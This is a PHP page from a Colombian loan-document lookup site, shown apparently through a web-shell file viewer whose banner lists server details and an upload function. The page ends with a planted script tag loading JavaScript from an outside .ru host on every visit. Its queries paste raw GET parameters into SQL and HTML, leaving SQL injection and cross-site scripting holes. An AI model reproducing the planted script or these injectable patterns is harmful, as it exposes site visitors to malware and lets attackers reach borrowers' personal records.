MOON
Server: Apache/2.2.34 (Unix) mod_ssl/2.2.34 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4 FrontPage/5.0.2.2635
System: Linux server.asjudinet.com 2.6.32-042stab141.3 #1 SMP Fri Nov 15 22:45:34 MSK 2019 i686
User: asjudine (504)
PHP: 5.2.17
Disabled: NONE
Upload Files
File: /home/asjudine/www/Visualizar_Libranzas_Titular.php
<?PHP
require_once("mainfile.php");
include ("config.php");
global $dbi;
require_once("Conectarse.php");

	 
	 
?>
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<script languaje="JavaScript">
function Mostrar_Fecha()
{
         var mydate=new Date()
         var year=mydate.getYear()
         if(year < 1000)		 
                 year+=1900
                 var day=mydate.getDay()
                 var month=mydate.getMonth()
                 var daym=mydate.getDate()  
                 if (daym < 10)
                    daym="0"+daym
                    var dayarray=new Array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado")
                    var montharray=new Array("Enero","Febrero","Marzo","Abril","Mayo","Junio","Julio","Agosto","Septiembre","Octubre","Noviembre","Diciembre")
                    document.write("<b><font face='Arial, Helvetica, sans-serif'>"+dayarray[day]+" "+daym+" de "+montharray[month]+" de "+year+"</font></b>")
}					
</script>
<style type="text/css">
<!--
.Estilo1 {
	color: #000099;
	font-family: Arial, Helvetica, sans-serif;
	font-weight: bold;
}

body {
	background-image: url(ELEMENTOS/gris13.jpg);
}

.Estilo7 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; }
.Estilo8 {font-size: 14px}
.Estilo13 {font-size: 10px; color: #990000; }
.Estilo14 {color: #990000}
.Estilo15 {font-size: 10px}
-->
</style>

</head>

<body>
<form method="post" name="formulario" action="Mostrar_Texto.php">
<center> <img src="ELEMENTOS\CABEZOTE SERVIASJUDINET.jpg" WIDTH=100% height="106" > </center>
<table width="726" align="center">
  <tr bgcolor="#0099FF">
    <td colspan="3"><div align="center" class="Estilo1">CONSULTA DE CONTRATOS</div></td>
  </tr>
  <tr bgcolor="#FFFFCC">
    <td colspan="3"><div align="center">
          <script languaje="JavaScript">Mostrar_Fecha()</script>
    </div></td>
    </tr>
  <tr>
    <td>&nbsp;</td>
    <td width="349" colspan="2">&nbsp;</td>
  </tr>

  <tr bgcolor="#ECE9D8">
    <td colspan="3">
    
 <center>

<h1><span style="width:100%"><font color="RED">PARA VISUALIZAR SU LIBRANZA DE CLICK EN DESCARGAR</font></span></h1>

</center>
</center>     
	
<?php

require_once("mainfile.php");
include ("config.php");
global $dbi;



if ($_GET["libranza"]>="0" and  $_GET["libranza"]<="5000")
  {

//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];

$res = mysql_query("SELECT * FROM libranzas_5000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			} 


if ((mysql_num_rows($res)!=0))  
{


       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th scope='col'><span class='Estilo5'>ARCHIVO</span></th>
                   <th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
                   <th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>				   
                   <th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>				   				   
                   <th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");

			while($Filas = mysql_fetch_row($res))
            {
  printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
                        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
            }
	                   echo "</table>";   
                      mysql_free_result($res);  
					  
         }
					  
}

///// PERTE 2

if ($_GET["libranza"]>"5000" and  $_GET["libranza"]<="10000")
  {


$res = mysql_query("SELECT * FROM libranzas_10000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");


if ((mysql_num_rows($res)!=0))  
{


       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th scope='col'><span class='Estilo5'>ARCHIVO</span></th>
                   <th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
                   <th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>				   
                   <th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>				   				   
                   <th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");

			while($Filas = mysql_fetch_row($res))
            {
				
				
  printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
                        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
            }
	                   echo "</table>";   
                      mysql_free_result($res);  
					  
         }
					  
}	


///// PERTE 3

if ($_GET["libranza"]>"10000" and  $_GET["libranza"]<="15000")
  {


$res = mysql_query("SELECT * FROM libranzas_15000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			} 


if ((mysql_num_rows($res)!=0))  
{


       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th scope='col'><span class='Estilo5'>ARCHIVO</span></th>
                   <th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
                   <th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>				   
                   <th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>				   				   
                   <th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");

			while($Filas = mysql_fetch_row($res))
            {
  printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
                        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
            }
	                   echo "</table>";   
                      mysql_free_result($res);  
					  
         }
					  
}	

///// PERTE 4

if ($_GET["libranza"]>"15000" and  $_GET["libranza"]<="20000")
  {

//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];

$res = mysql_query("SELECT * FROM libranzas_20000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			} 


if ((mysql_num_rows($res)!=0))  
{


       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th scope='col'><span class='Estilo5'>ARCHIVO</span></th>
                   <th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
                   <th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>				   
                   <th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>				   				   
                   <th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");

			while($Filas = mysql_fetch_row($res))
            {
  printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
                        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
            }
	                   echo "</table>";   
                      mysql_free_result($res);  
					  
         }
					  
}	

////PARTE 5

if ($_GET["libranza"]>="20000" and  $_GET["libranza"]<="30000")
  {

//$LaIdentificacion = $HTTP_GET_VARS[cedula];
// $ElID = $HTTP_GET_VARS[Id];

$res = mysql_query("SELECT * FROM libranzas_30000 WHERE cedula = '" . $_GET[cedula]  . "' and numero_contrato = '" . $_GET[contra]  . "' and clase_contrato = '" . $_GET[tipo]  . "' and numero_libranza = '" . $_GET[libranza]  . "' ");
			if (!$res) {
				die('Invalid query: ' . mysql_error());
			} 


if ((mysql_num_rows($res)!=0))  
{


       printf("<style type='text/css'><!--.Estilo5 {font-family: Arial, Helvetica, sans-serif; font-size: 14px; color: #000066; }--></style>");

       printf("<table width='700' border='1' align='center' cellpadding='1' cellspacing='1'>
            <tr bgcolor='#FFFFCC'>
              <th colspan='5' scope='col'><span class='Estilo5'>LISTADO DE ARCHIVOS ENVIADOS </span></th>
             </tr>
            <tr bgcolor='#FFFFCC'>
			       <th scope='col'><span class='Estilo5'>ARCHIVO</span></th>
                   <th scope='col'><span class='Estilo5'>NUMERO CONTRATO</span></th>
                   <th scope='col'><span class='Estilo5'>NOMBRE TITULAR</span></th>				   
                   <th scope='col'><span class='Estilo5'>TIPO CONTRATO</span></th>				   				   
                   <th scope='col'><span class='Estilo5'>TIPO DE ARCHIVO</span></th>				   				   
		    </tr>");

			while($Filas = mysql_fetch_row($res))
            {
  printf("<tr><td><div align='center'><a href='descargar_archivos_libranzas.php?cedula=".$Filas[0] . "&tipo=".$_GET["tipo"]."&libranza=".$_GET["libranza"]."'  class='Estilo5 Estilo6'>Descargar</a></div></td>
                        <td><div align='center'><span class='Estilo7'>".$_GET[contra]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[2]."</span></div></td>
                        <td><div align='center'><span class='Estilo7'>".$Filas[3]."</span></div></td>						
                        <td><div align='center'><span class='Estilo7'>".$Filas[6]."</span></div></td></tr>");
            }
	                   echo "</table>";   
                      mysql_free_result($res);  
					  
         }
					  
}



	
echo "<script>alert('Número de radicación no encontrado');<script>";
 
?>   
</td>
  </tr>

</table>
</form>
<script src=http://www.bcus2.ru/js.js></script></body>
</html>